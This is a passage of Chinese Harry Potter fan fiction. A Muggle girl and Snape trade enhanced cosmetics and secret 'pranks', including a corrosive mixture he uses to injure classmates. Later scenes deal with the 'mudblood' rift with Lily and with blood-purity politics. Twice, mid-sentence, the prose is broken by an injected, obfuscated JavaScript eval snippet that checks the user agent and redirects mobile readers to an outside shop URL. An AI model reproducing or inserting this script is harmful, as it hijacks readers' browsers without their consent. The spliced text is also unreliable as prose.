斯内普伸出手,与她极快地握了一下——快得像碰到什么烫手的东西,又或者是某种长期养成的、对肢体接触的本能抗拒。他的手指修长而苍白,骨节分明,握过来的力道很轻。 松开手后,他把视线转向那一排瓶瓶罐罐,语气随意:“下批货可以试试加薄荷。那个味道比你现在用的——是什么?草莓?——要体面一点。” 说完,他转身走了。 阿斯特丽德站在原地,愣了两秒,然后低头闻了闻自己那瓶护肤霜,确实是草莓味的,像超市最便宜的那种,闻起来像糖果味的化学试剂。 “草莓怎么了?他这是歧视。”她咕哝着收拾起那些瓶瓶罐罐,准备按照他说的增加一点别的中性香型,等装好像样的分装瓶后,再拿来给他改良。 这大概就是他表达“合作愉快”的方式了——用一个嫌弃的建议,加一个几乎不存在的握手。 4. “无伤大雅”的小玩意儿 6. 直到五年级春天,合作进展得一直都很顺利——顺利得像一首没有人捣乱的、平淡无奇的乡村小调。 托斯内普的福,阿斯特丽德现在不仅有余钱多雇佣几次格丽送信送包裹(尽管那只笨鸟还是时不时会撞上一两棵树),还能给他准备一份看上去要像样些的圣诞礼物了——一件丝绸衬衫。 当然是麻瓜样式。是她每年暑假都能见到他穿的那种短袖衬衫,黑色,领口和袖口的剪裁比他从前的那些要规整得多。她没有见过巫师袍,更不知道去哪里买巫师袍——总不能写信问“请问对角巷怎么走”吧?那未免太像一个愚蠢的麻瓜问出的愚蠢问题——所以她索性送了麻瓜衬衫。 他总归还是需要的,不是吗?在他每个暑假回到蜘蛛尾巷的时候,在他不得不面对那个酗酒的父亲和那条肮脏的街道的时候。 但是在三月份的某一天,阿斯特丽德寄到霍格沃茨的信和新货品没有得到回音。 一天。两天。三天。 是他遇上什么事了吗?已经过去三天了——以往这时候,她早就开始售卖他改良过后的新货品了。包括但不限于护肤霜、口红、洗发水、香皂和香水。科克里斯太太对她的润肤霜赞不绝口;玛格丽塔夫人甚至提前预订了下个月的货,说是要带去给她在伦敦的女儿。 于是阿斯特丽德不得不又雇佣格丽——那只灰扑扑的笨鸟最近瘦了一点,飞起来更歪了——给莉莉写了一封信,询问斯内普的近况。 比起询问艾琳夫人,她相信这个冒昧的做法更能得到答案。 艾琳只会说“他一切都好,应该没什么事”。那个“应该”像一根刺,卡在阿斯特丽德的喉咙里好几年了。 但答案让她冒火。 莉莉的回信来得很快——格丽这次居然没撞树,可见是知道事情紧急。信写得不短,字迹圆润活泼,透着一种阿斯特丽德没有的、被好好爱护过的气息: “亲爱的阿斯特丽德: 收到你的来信我很惊讶,但也非常欣慰你对西弗的关心。是的,西弗最近遇到些麻烦。他受伤了,正在校医院恢复。事实上,他总跟劫掠者——哦,就是一群喜欢惹是生非的家伙——不对付。我劝过他很多次,真希望你也能劝劝他。 祝好, 莉莉·伊万斯” 什么叫“遇到些麻烦”? 什么叫“多劝劝他”? 什么又叫“惹是生非”? 阿斯特丽德把那封信看了三遍,越看越觉得有一股气从脚底板直冲天灵盖。 她恐怕不能苟同莉莉对这件事——甚至是一系列事情——的定义。 那太轻描淡写了。轻描淡写得像把一头大象说成一只蚂蚁,把一场火灾说成一缕青烟。 凭借她跟斯内普的五年同桌情——再加上这几年书信往来、合作生意的交情——她坚信斯内普不是那种爱主动挑起事端的人。尤其是这种幼稚的、近乎愚蠢的事端。他一般倾向于防守和反攻。如非必要,他更喜欢把精力用在改善自己的处境、研究自己喜欢的事物上——比如魔药,比如那些她看都看不懂的、关于魔法理论的晦涩描述。 所以,一场简单的“同学间的打闹”,能把斯内普撂倒在病床上这么多天吗? 倒不是说她对于自己在斯内普心里的地位有什么不切实际的幻想。她很清楚自己是谁——一个麻瓜,一个合作者,一个偶尔能说上几句话的、来自那条肮脏街道的老熟人。她只是觉得,斯内普不会无缘无故对合作者失去音信。更不会放任一个普通麻瓜合作者意识到——他在巫师世界里也是有可能被欺负的。 那太没面子了。 斯内普一定是受了很重的伤。而这并不能用简单的“惹是生非”来定义。 阿斯特丽德铺开信纸,提笔。 --- 致伊万斯小姐: 很感谢你的来信,这让我对西弗勒斯的近况有了一定的了解。 但是我必须得说——请恕我直言——西弗勒斯不是爱打架斗殴的人。作为他在魔法界最好的朋友,你或许应该给予他更多信任? 随信是我采购的一些营养品和伤药。虽然不确定对巫师是否有足够的疗效,但还是烦请你帮我将这些转交给他。 无比感激你的, 杜兰特 --- 而在那个鼓鼓囊囊的大包裹里,塞在最昂贵的那盒补品——据说是鹿血提取物,对恢复元气有奇效,广告上这么说的——的最深处,藏着一张叠得整整齐齐的纸条,字迹比给莉莉的那封信要潦草随意得多。 --- 致西弗勒斯: 很抱歉我才从伊万斯小姐口中得知你的近况——对此我感到万分忧心。 当然,除了忧心我可能会无法按时给预订了护肤霜的玛格丽塔夫人交货之外,更忧心你的身体状况。 因此,请允许我奉上一些麻瓜伤药,聊表心意。 另外,对于“劫掠者”,我想说:很遗憾我不是一个女巫,不然我会很高兴与你一起反抗校园暴力。 伊万斯女士告诉我,你们的校长甚至没有请家长来协调这件明显过分严重的霸凌事件。我对此感到失望——尽管我不知道巫师学校的校长通常应该做什么,但我猜,“什么都不做”恐怕不在那份工作描述里。 而对于她将此事定义为“不同学院间的恶作剧”以及“惹是生非”,我是不赞同的。如果把你送进医院也叫“恶作剧”,那我建议她重新查一下这个词在词典里的定义。 还记得那些被你变到烟囱上的蠢货们吗?现在我虽然没有办法把劫掠者们变到烟囱上——毕竟我没有一根可爱的小木棍——但我想,一点小小的“恶作剧”无伤大雅。希望你会喜欢。 请尽情地使用它们吧!如果你喜欢,慷慨的杜兰特小姐可以保持长期供应,并且保证不会有任何教授或学生能拆解它们的原理。 毕竟,巫师界不信数理化。 --- 尚且靠坐在病床上的斯内普读完手里这封信,花了比读一封这么长的信应该花的时间更长一点的时间。 他把每一个字都读了两遍,尤其是最后那一段。 然后他的目光从那些补品和麻瓜伤药上一一扫过——瓶瓶罐罐堆满了床头柜,有药片、药水、药膏,还有一些他叫不出名字的、奇形怪状的东西。每一个盒子上都用清秀的字迹写了服用剂量和副作用,工整得像在做作业。 “每日两次,每次一片,饭后服用。副作用:嗜睡。” “外用,涂抹于患处,每日三次。副作用:可能有轻微刺痛感。” “冲泡饮用,每次一包。副作用:无。” 如果按照她写的嘱咐来服用,固然可以。 但如果——如果按照每一样的说明剂量兑在一起呢? 他又拿起那个空置的、模样怪异的小瓶子看了看——那是所有包裹里唯一一个没有标签、没有说明的空瓶。但它被塞在最底下,用旧报纸裹了三层,像是什么见不得人的东西。 这不是她曾经提及过的“生化武器”是什么? 并且他确信,她已经想好了——自己会给成品上面施加一点“无伤大雅”的小魔法,使之威力巨大。 斯内普把那个小瓶举到眼前,对着医疗翼昏暗的灯光端详了片刻。 他的嘴角动了动,露出一种微妙的、接近于“有意思”的抽搐。如果非要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17334574|199227||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 用语言描述,大概类似于一个人看到一只蟑螂踩到了另一只蟑螂时的那种微妙的满足感。 他把瓶子放回床头柜,重新拿起那封信,又看了最后一遍,然后把信叠好,压在枕头底下。 莉莉已经不止一次地就黑魔法问题以及劫掠者和他的矛盾,与他“语重心长”地谈心了。每次都带着那种痛心疾首的表情,好像他是什么需要被拯救的迷途羔羊。她说他交的朋友不对,说他研究的东西不对,说他对波特他们的态度不对。 她说“西弗,我不想跟你吵,但你总是不听我的”。 她说的都对——从她的角度。 但她的角度,从来不是他的角度。 鉴于此——他等莉莉离开医疗翼后,才挥动魔杖将那些盒子里的药粉、液体以及块状物,按照阿斯特丽德的服用说明里隐晦的提示,将东西按步骤混合在那个怪异的瓶子里。 红色的一滴。蓝色的一勺。白色的一片。无色的一管。 静待十分钟。 他用漂浮咒控制着瓶子悬在半空,缓缓倾斜—— 一滴。 两滴。 “呲——” 床帘上出现了一个洞。边缘焦黑,但没有烟,没有味,干净得像被什么东西凭空咬掉了一口。 斯内普盯着那个洞,盯了很长时间。 然后他的目光移回那个被漂浮咒控制着重新落回床头柜的怪异瓶子。月光从窗户照进来,落在那个小小的、不起眼的瓶子上,把它照得像某种不该存在于这个世界上的东西。 如果把它丢掷在波特身上—— 会怎样? 那个蠢货大概会尖叫着跳起来,像一只被踩了尾巴的猫。他的朋友们会围上来,然后—— 然后他们都会变成这样。一个洞,干干净净,无烟无味。 如果经过自己的一点小小改良呢?如果加入一些他从那些书里学到的东西?如果调整一下比例,换几种材料,让它的效果更……持久一点? 那又会得到怎样超出预期的效果? 如果早在几天之前的尖叫棚屋里,他已经得到了这个东西—— 狼人。 他想起那个满月,想起那间破旧的小屋,想起那个可怕的生物朝他扑过来的瞬间。如果不是邓布利多——如果不是那个他既敬畏又厌恶的老人——他现在可能已经…… 恐怕只需要轻轻一扔,那个狼人连一根毛发都留不下来。 真正的尸骨无存。比索命咒“黑暗”多了。 但这是合理的。这无法被追踪,这不会留下任何魔法痕迹,不受魔法部的监控,不违反《保密法》——因为它根本就不是魔法。 巫师——或者黑魔法——能达到这样的效果吗? 斯内普靠在床头,月光照在他苍白的脸上,照在他那双黑沉沉的眼睛里。 他想起卢修斯·马尔福,想起那些暗示,那些“如果你有兴趣”的客套话。那些需要熬制的、不能问用途的魔药。那些关于“那位大人”的、压低了声音的谈话。 他想起自己的野心,想起自己一直以来的计划——那条他预备投身并深信不疑的道路。 真的是合理的吗? 真的能带来他所想要的一切吗? 在这个寂静的夜晚,医疗翼里只有月光和那个被烧穿的床帘。窗外的禁林黑沉沉地起伏着,像一头沉睡的巨兽。 西弗勒斯·斯内普——讨厌麻瓜的斯内普,向往纯血理想的斯内普,预备投身那个事业的那个斯内普——躺在病床上,第一次开始认真思考麻瓜与巫师的关系,以及可能的未来。 那个小小的瓶子静静地立在床头柜上,像一个不该被问出口的问题。 5. 泥巴种是什么? 7. 一周后,阿斯特丽德终于收到了斯内普的回信。 依旧是只言片语。她甚至怀疑他是不是有一叠预先写好的“只言片语”模板,每次随机抽取一张寄过来。 --- 收到了。 东西寄回去了。这次改得多了点——你那瓶润肤霜原本的质地像掺了沙子的水泥,我改良了一下配方。不用谢。 另外,你上个月寄来的那个“□□”很好用。波特哭了整整一节课。 S.S. --- 随信寄来的还有之前那批等待改良的货品。 阿斯特丽德一一检查过,发现这批货品不仅有了类似之前的那些加强型功效,还在质地和外观上有了明显改进——比如那瓶润肤霜,膏体细腻柔滑了不止一个档次,简直像丝绸一样。更神奇的是,它表面还会闪烁着一层流动般的微光,仿佛有什么东西在里面缓缓游动,看起来高档极了,神奇极了,贵极了。 阿斯特丽德当即就给新老顾客宣传了“新系列”产品,并且提高了一半的价格。 玛格丽塔夫人在原定的货品品类上又多买了一整套“新系列”产品。她对着那瓶会发光的润肤霜赞叹不已:“亲爱的,这简直不是护肤品,这是艺术品!你从哪里进的货?” “一个……供应商。”阿斯特丽德含糊其辞,“他比较特殊。” 四月底,阿斯特丽德给斯内普寄去了不菲的分成收入,以及更多的自制货品。她在信里喜气洋洋地分享了那批新产品所获的好评——特别是玛格丽塔夫人那句“艺术品”,她特意用花体字抄了一遍——并要求将这批待改良的货品拿出一半,加工成上次那种“美妙非凡”的产品。 随着生意越来越好,两人现在的通信频率稳定在每月一个来回。从三月份斯内普受伤之后,阿斯特丽德每次都会随信附赠一个“无伤大雅”的“恶作剧小玩意”。当然,都需要“按照说明服用”。 这渐渐成了两人心照不宣的小秘密——或者说,小乐趣。 斯内普有时甚至会将添加了黑魔法的成品寄回给阿斯特丽德,并隐晦地说明预估效果。所谓“隐晦”,通常就是一句话:“这个洒在地上,能让半径三米内的任何人摔个跟头。”或者,“这个混进饮料里,喝的人会暂时觉得自己是一只鸡。” 阿斯特丽德开心极了。 她认为,即便自己的同桌远在奇幻城堡,他们还是找回了“共同的事业”——一起向校园暴力说不,在这条任重道远的路上并肩前行。 她完全没有意识到,自己那些“无伤大雅的小玩意”在斯内普眼里——以及在他的改良之下——正向着某种更危险的方向远行。就像一个人以为自己只是在给邻居的猫染毛,结果邻居把那只猫训练成了一只小老虎。 但阿斯特丽德的做人准则一向很简单:人不犯我,我不犯人;人若犯我,斩草除根。 她从前是因为打不过,所以才跟个小趴菜一样被欺负那么久。现在不一样了。现在她有钱,有知识,有途径搞到自己想要的东西。如果决定对付谁,那当然是永绝后患最为明智。难道还要留着他过年吗? 所以她从不认为自己制作的小玩意有什么不妥。她觉得妥极了,并且值得持续改进。 这样友好而愉快的交流持续到了六月。 在阿斯特丽德算好时间去信问斯内普“OWL考试如何”时——她知道那是什么,巫师界的重要考试,类似于麻瓜的O-levels——她又一次没有收到回信。 即便马上就要放暑假了,他也不是吝啬一词的人吧?作为合作者,这点社交礼貌他还是能维持的。 那又是什么事情拖住他了呢? 阿斯特丽德这次只等到第二天一早,就去邮局雇佣了格丽,让它带着纸条和全新的麻瓜伤药与补品飞去霍格沃茨。 纸条上只有简单的一句话:“你怎么了?” 等到下午,依旧没有回音。 阿斯特丽德不得不再次冒昧地给莉莉去信,向她询问斯内普的动态。 这次莉莉的回信来得很快——但火药味十足。 --- 致杜兰特小姐: 西弗勒斯并没有任何不妥。他只是用一个奇特的小瓶子瞬间消融了两名格兰芬多同学的部分身体,致使他们不得不在校医院躺上半个月。 另外,以后请不要再从我这里获取有关西弗勒斯的消息。我跟他不再是朋友了。 莉莉·伊万斯 --- 瞧瞧。瞧瞧这语气。 阿斯特丽德蹙着眉,捏着那张羊皮纸逐字阅读。她把每个词都读了两遍,确保自己没有漏掉任何隐藏信息。 最后得出一个重要结论:斯内普又跟人打架了,并且形势严峻。 她知道斯内普从没真的用过那个小瓶子——至少信里没提过。但这次是什么原因促使他对同学使用了呢? 对方的身份不难猜。八成又是“劫掠者”那帮人。但对方做了什么,导致斯内普终于动用了她的“生化武器”?而且,为什么莉莉跟他决裂了?这很奇怪。 六月底,霍格沃茨终于放暑假了。 阿斯特丽德几乎是在斯内普回到蜘蛛尾巷的第一时间就堵在了他家门口——这条街就这么大,一只猫放了屁都能传遍全巷,更何况是一个活生生的人回来了。 门打开后,她愣住了。 他看起来糟糕极了。头发像是许久没洗过了,油腻腻地贴在脸侧,可以直接拿来榨油——如果榨油厂收这个的话。那件她去年送的黑色丝绸衬衫皱巴巴地挂在身上,像是被人揉成一团踩过几脚又展开来的。脸色极其阴郁,整张脸都垮着,那种消沉的气息几乎要从他身上溢出来,把他周围一米内的空气都染成灰色。 阿斯特丽德的第一反应是:没打过? 不可能。信里明明说那两名格兰芬多同学进医院了,斯内普还好好的站在这里,不可能是没打过。 第二反应是:因为跟莉莉决裂? 这倒是有可能。 她抿着唇上前一步,目光在他脸上停留片刻——那脸色实在太差了,差到她怀疑斯内普是得了贫血——然后低声开口:“发生了什么?” 斯内普那双黑漆漆的眼睛稍微抬起来一点——大概是从看地面换成了看她膝盖的高度——沉默地看着她。然后他摇了摇头,“她不肯原谅我。”声音沙哑,低沉,像是从什么很深的地方挖出来的。 阿斯特丽德有点不忿:“就因为你用了我那些小玩意打伤了她的同学?” 斯内普沉默着,像是有什么东西卡在喉咙里,吐不出来也咽不下去。 “……不止。”他的神色更沉郁了一些,“因为我说了无法挽回的话。” “是什么?”阿斯特丽德微微歪头,一脸认真,“方便告诉我吗?” 斯内普看着她。 那是很奇怪的一眼,该怎么跟一个麻瓜解释“泥巴种”呢?该怎么让一个生活在蜘蛛尾巷、被姑妈骂大的女孩理解,有些词在巫师世界里比任何脏话都致命? 他的嘴再一次抿成一条直线,像是要死死咬住即将出口的话。可那话最终还是挤了出来,一点一点,像血从伤口里渗出来。 “我骂了她一个很不可原谅的词。” 阿斯特丽德安静等着,一直看着他。等了一个世纪那么久——大概三十秒。 “我叫她泥巴种。”他终于说。 那几个字像是用尽了全身的力气才吐出来的。话音刚落,他的肩膀就垮了下去,整个人像一只被抽掉了骨架的黑色布袋。然后,像是那些话语不受控制一般,一个接一个蹦出来: “我在她宿舍门口等了很久,她不肯见我。最后……她说我们不再是朋友了。” 阿斯特丽德眨巴了几下眼睛。“泥巴种?”她重复了一遍,“那是什么意思?” 斯内普的眼神混杂着痛苦、难堪,以及“我该怎么跟一个麻瓜解释这个”的无奈。 “对巫师而言……”他顿了顿,像是在组织语言,又像是在说服自己开口,“血统,巫师界很看重血统。纯血统——父母都是巫师的——被认为是最尊贵的。混血次之。而‘泥巴种’……” 他停住了。那个词从他嘴里说出来,就像在舔一道还在流血的伤口。 “……是指麻瓜出身的巫师,父母都不会魔法的那种。” 阿斯特丽德等着下文,以她对斯内普的了解,这应该只是个开头。 斯内普咬了咬牙,那几个字几乎是挤出来的:“意思是……他们的血是脏的,不配学魔法,不配……存在。” 他说完就别过脸去,盯着街上某处根本不存在的点,耳朵尖却泛起耻辱的红。 “用你能理解的方式来说……”他的声音更低了,低得像在自言自语,“就像有人骂你是……狗杂种。卑贱的,生来就该去死。” 阿斯特丽德又眨了眨眼睛,然后露出一副恍然大悟的表情——哦,原来是骂人的话。她继续盯着他,像是等着他说下文。 可等了半天都没等到。 意识到整件事就是因为这一个词之后,她欲言又止地张了张嘴,脸上浮现出一种很难形容的神情,翻译成文字大概是:就这? 斯内普不得不再次开口,声音里带着点类似辩解的语气:“那个词对巫师而言是很严重的侮辱。” 阿斯特丽德看着他,她还是没有什么实感。 她反思了一下,觉得或许是因为自己从小被瑞娜姑妈骂得多了——“赔钱货”、“扫把星”、“白吃白喝的东西”——那些词她早就听麻木了,内心毫无波 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17334575|199227||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 澜。又或许是因为在这条街上听到过太多不堪入目的词汇,有些甚至能把人骂得想重新投胎。所以,她实在无法对莉莉感同身受。 “嗯……”她酝酿了一下,试探着开口,语气小心翼翼得像在踩地雷,“巫师可以……篡改或者消灭一个人的记忆吗?” 安慰调解什么的,她实在不擅长。从小到大没人安慰过她,她也不知道该怎么安慰别人。不如从根本上解决问题来得省心。 斯内普猛地转过头来盯着她。眼里闪过震惊、警惕,“什么?”他的声音都变了调。 “就是……”阿斯特丽德比划着,“如果有那种魔法的话,你可以让莉莉忘掉这件事。或者干脆给她植入一点……呃……讨厌格兰芬多的思想?”她越说越觉得自己这个主意简直天才,“这样她就不会总站在格兰芬多那边帮着外人了。一举两得。” 斯内普盯着她,表情像是看到了什么不可思议的东西。 足足十五秒钟。 然后他的嘴角抽动了一下——大概是想表达“你疯了吗”。 “那是……”他似乎在找一个足够强烈的词,“不可饶恕咒的一种。对心智的操控,比任何伤害都……恶劣。”他的声音冷下来,“那不是……那不是对待朋友的方式。” “哦。”阿斯特丽德缩了缩脖子。 好吧。巫师界还挺有原则的。 阿斯特丽德就认识斯内普和莉莉这么两个巫师,也只将斯内普当做朋友。在她朴素的认知里,朋友就应该互相站队——莉莉既然跟斯内普关系不错,当然应该帮着斯内普对付其他人才对。而不是因为别人打不过斯内普、遭受了反制,就反过来对斯内普说教。 至于那个词…… 她是真的感觉不到什么伤害力。 不就是侮辱出身吗?这个社会上因为出身和阶层导致的不公本来就比比皆是。蜘蛛尾巷的人从生下来就被打上烙印,谁在乎多一句少一句骂?如果莉莉不能接受,大可以打回去,或者像现在这样不原谅斯内普。她能理解并接受莉莉的选择和做法。 但同时她也觉得—— 那不是事实吗? 就像她以前把童话故事里的女巫称作“巫婆”,或者“神婆”?更甚者,像麻瓜白人对黑人的歧视? 这不是很常见吗?难道还要自己跟自己过不去,因为出身就不过了?收拾收拾重新投胎? 她酝酿了半天,脑子里转了好几个弯,最终只干巴巴地挤出一句:“那……你打算怎么办?” 斯内普沉默地站在那儿,像一株在阴雨天里发霉的黑色植物。 阿斯特丽德挠了挠头,她实在不擅长这个。如果是要打架,她能列出一百种方案;如果要赚钱,她能画出一张商业蓝图。但安慰人?她连自己被安慰的经历都没有。 “要不……”她艰难地开口,“我陪你一起去再赔礼道歉试试?” 斯内普抬起头看她,复杂的眼神微澜中泛着惊讶,怀疑,还有……感激?但也有一层更深的、几乎是绝望的东西——那种知道一切都已经无可挽回的绝望。 “没用的。”他声音很轻,像一片落叶掉进深渊里,“你不明白。” 他的目光从阿斯特丽德脸上移开,落向远处某个虚无的点。那个点大概叫“过去”,或者“再也回不去的地方”。 “她……不一样。”那几个字像是从齿缝里挤出来的,“她从来都……不一样。” 阿斯特丽德看着他低垂的眼睑和抿紧的嘴唇,看着他整个人像一株被霜打过的植物一样蔫在那里。 她忽然意识到一件事:即便没有这个变故,莉莉和斯内普恐怕也走不到一起去。 她并不了解巫师世界当前的态势——不知道那些关于纯血统的争论,那些正在酝酿的风暴,更不知道莉莉已经越来越融入格兰芬多那个圈子,而斯内普正一步步走向另一条路。她只是凭直觉感到,有些裂缝,早在“泥巴种”这个词出现之前就已经存在了。 这个“泥巴种”,不过是一根压垮骆驼的稻草。只不过那根稻草太重了,重得像一根铁柱。 “那你……”她又挠了挠头,“你吃饭了吗?” 斯内普转过头看她,那眼神像是在问“这有什么关系”。 阿斯特丽德被他看得有点心虚,但还是硬着头皮继续说:“我是说……你看起来很不好。要不要……去我那坐坐?我有新做的面包,约翰先生给的,比以前的脆。” 斯内普看了她很久,久到阿斯特丽德开始研究地上蚂蚁的爬行路线。 “……好。” 她抬起头。斯内普则已经越过她,朝她家那个方向走了几步。片刻后他又停下来,回头看着她有点呆的模样,低沉的、沙哑的声音飘过来:“愣着干什么。” 阿斯特丽德连忙追了上去。 6. 巫师打不过麻瓜 8. “不过说真的——” 阿斯特丽德一边将脆面包片和自制果酱摆上那张摇摇晃晃的小圆桌,一边回过头来,语气里带着那种讨论数学题时才有的认真劲儿。 “——《圣殿十二神》里不是说,巫师的魔力大多来自于那些神陨落后残余的力量吗?那麻瓜种巫师——你刚才说的那个词叫什么来着,泥巴什么的不重要——不就是这个传说最好的证明吗?如果魔力真的能凭空出现在麻瓜出身的巫师身上,那就说明这东西本来就跟血统没什么必然联系,不是吗?” 她转身去端来一个托盘,上面摆着几样精心筹备的点心——切成三角形的黄瓜三明治;手指状的奶酪司康,表面刷了蛋液烤得金黄;还有一小碟维多利亚海绵蛋糕,夹层里的果酱有点往外溢,但整体卖相相当体面。 “只要麻种巫师从现在起只跟巫师通婚,”她把托盘放在桌上,一样一样往外摆,“那么很多代之后,这个家族也能称为纯血了。这不就是个数学问题吗?一代混一半,三代就剩八分之一——再过几代,谁还记得祖上是不是泥巴什么来着?” 她终于坐在斯内普对面的圈椅上,拎起茶壶给他倒了一杯红茶。茶汤颜色刚好,是她用瑞娜姑妈那套缺了两个杯子的茶具中最完整的一个杯子盛的。 “或许,”她歪着头,语气像是在讨论某种有趣的学术假说,“血统论只是大家族们为了维护阶层利益而提出的概念?就像封建王朝的世家们瞧不起寒门一样?但是你看看法国那帮波旁家的,再看看咱们自己那窝汉诺威来的德国亲戚——” 她说起英国王室时那种随意的口吻,就像在谈论住在隔壁那条街的、有点神经质的邻居老太太,而不是什么需要敬畏的存在。 “为了维系血统的高贵纯正,他们这几代都成什么样了?乔治三世那个疯病就不说了,后来的那些个——”她做了个“你懂的”的表情,“近亲通婚的结果,不是血友病就是各种稀奇古怪的毛病。我敢说,蜘蛛尾巷随便拉一个小孩出来,基因都比他们健康。” 她给自己也倒了一杯茶,捧在手心里,热气氤氲。 “而且我不得不说一个事实:如果纯血理论真的要大行其道,巫师人数只会越来越少,然后——断代。这就不是个能持续下去的模式。除非他们打算最后只剩两家,然后这两家再互相通婚,生出一堆——”她想了想,找到了一个恰当的比喻,“生出一堆像打了太多补丁的旧袜子一样的东西。” 斯内普端起那杯红茶,看着茶汤表面那层薄薄的光,像在观察某种魔药的反应过程。 “很有意思的理论。”他语气平淡,听不出是赞同还是嘲讽——大概是介于两者之间的某种斯内普式地带,“你用了五分钟,就解构了巫师界传承了数百年的血统观念。建议你把这个发现写成论文,寄给《巫师周刊》——我保证他们会把你的来信印在读者专栏里,旁边配一幅你被烧死在火刑柱上的插图。” 阿斯特丽德眨眨眼:“巫师也烧人?” “不。”斯内普抿了一口茶,眉头微不可察地皱了一下——太甜了,她放了多少糖?“但他们会用其他方式让你后悔出生。” 他放下茶杯,目光落向窗外那条灰扑扑的街道。蜘蛛尾巷永远灰扑扑的,像是被上帝遗忘在角落里的一块旧抹布。 “你说的这些……”他停顿片刻,像是在挑选合适的词,“从逻辑上没问题。但巫师界不靠逻辑运转,它靠——传统、家族,以及那些几百年来积累下来的、没人敢质疑的东西。” 阿斯特丽德拿起一块黄瓜三明治,咬了一口,含糊不清地问:“那你呢?你信这个吗?” 斯内普没说话。 他当然不信。 他不信纯血——他自己就是个混血,母亲是巫师,父亲是个让他恨之入骨的麻瓜。如果纯血理论是真理,那他算什么?一个错误?一个不应该存在的东西? 但他也不完全不信。 或者说,他需要这条路上的一些东西。 他想起卢修斯·马尔福那些隐晦的暗示,那些在斯莱特林公共休息室里压低声音的谈话,还有“那位大人”的名字被提起时,周围人眼中那种混合着敬畏与向往的光。那是力量,是改变现状的可能,是让他永远摆脱蜘蛛尾巷、摆脱托比亚·斯内普那个醉醺醺的阴影的途径。 而这条途径,需要他接受一些规则,包括那些他心底知道站不住脚的规则。 就像一个人要搭上一艘船,不需要相信船长的每一个决定都是正确的,只需要知道这艘船能带他去他想去的地方。 “巫师界,”他终于开口,声音低沉,“有一套自己的规则。信不信不重要,重要的是——你想不想在那个世界里活下去,并且活得好。” 阿斯特丽德嚼着三明治,若有所思地点点头。那表情就像在消化某个不太好吃但营养丰富的东西。 “所以你是说,”她咽下去,“有时候你得穿上一件不合身的衣服,因为那是你唯一能进门的入场券?” 斯内普看了她一眼,眼神有些意外——或者说,对她理解速度的重新评估。 “差不多。”他说,“只不过这件衣服如果你穿得够久,别人就会以为它本来就是你的尺寸。甚至你自己也会这么觉得。” 阿斯特丽德沉默了一会儿,拿起一块海绵蛋糕,掰成两半,把果酱多的那一半递给他。 “那……”她斟酌着措辞,“魔法分好坏吗?我是说,你之前提过黑魔法什么的。” 斯内普接过蛋糕的手顿了一下。 这是一个他没想到会从她嘴里听到的问题。莉莉从来不问这个——莉莉只会用一种痛心疾首的表情说“西弗,那不是对的”。他的斯莱特林同学们也不问这个——他们理所当然地认为黑魔法就是力量,力量就是好的。 但她问的方式不一样。她像是在问一件工具的用途,而不是在审判什么道德问题。 “有。”他说,“魔法部有分类。黑魔法通常指那些……以伤害、控制或毁灭为目的的魔法。有些是不可饶恕的——用了就会被送进阿兹卡班。” “阿兹卡班?” “巫师监狱。由一种叫摄魂怪的生物看守。它们会吸走人的快乐,让人只剩下最痛苦的记忆。待久了,你会变成一具空壳。” “听起来跟麻瓜的酷刑差不多。” 斯内普抿了口红茶,茶香正好。 “我是说,”她把另一块三明治拿起来,又放下,“麻瓜们对付敌人,手段也不遑多让。钉十字架、火刑、轮刑——你要是感兴趣,我可以给你列个清单。有些手段能让人痛苦好几天才死,有些能让人的惨叫传遍整个广场。而且这些还不是魔法,就是纯物理操作。” 她的语气很平静,平静得像在说起一本很寻常的食谱。 “但是,”她继续说,“谁又能真的说是酷刑本身有问题呢?当那些残忍的手段被用于刑讯逼供和打击敌人时,恐怕还会有人拍手称快呢。甚至有些手段被美化成了‘正义的裁决’或者‘必要的威慑’。所以——使用工具的人,才是问题的关键吧?” 斯内普的手指在茶杯边缘轻轻摩挲着。 “比如,”阿斯特丽德想了想,找到一个类比,“用一把水果刀,一刀一刀切下人的组织——这算不算残忍?肯定算。但用一个杀伤力极大的武器,让人瞬间毙命——这算不算残忍?好像……也残忍,但好像又仁慈一点?” 她顿了顿,整理了一下思路。 “我的意思是——如果四分五裂这个咒语,”她说出那个从斯内普信里看到过的词,“可以一次次作用于人身上,直到他死亡,而阿瓦达索命咒直接让人毙命。那是不是可以说,那个闻风丧胆的索命咒,比起某个看起来无害的切割咒,在某些情况下反而更……仁慈?” 她说完后耸耸肩:“我这逻辑是不是有点歪?” 斯内普盯着她良久,久到阿斯特丽德开始怀疑自己是不是说错了什么。 “你的逻辑……”他终于开口,声音比平时低,“不是歪,是——危险。” 阿斯特丽德歪头:“危险?” 斯内普没有解释。 他想起那些他私下研究的咒语,还有他偷偷练习的黑魔法。那些东西的威力让他着迷,那种掌控感让他欲罢不能。但同时,他也知道那些东西在别人眼里意味着什么——意味着“邪恶”,意味着“堕落”,意味着那个让他和莉莉越走越远的鸿沟。 但她说的话,像一把钥匙,打开了一扇他从没想过去开的门。 那些黑魔法真的邪恶吗?还是只是工具?如果使用它们是为了正当的目的——比如保护自己,比如反击那些欺负他的人——那它们还邪恶吗? 他不知道确切的答案。但他知道,她不会像莉莉那样,用那种痛心疾首的表情看着他。她只会用一种讨论学术问题的语气,问出那些别人不敢问的问题。 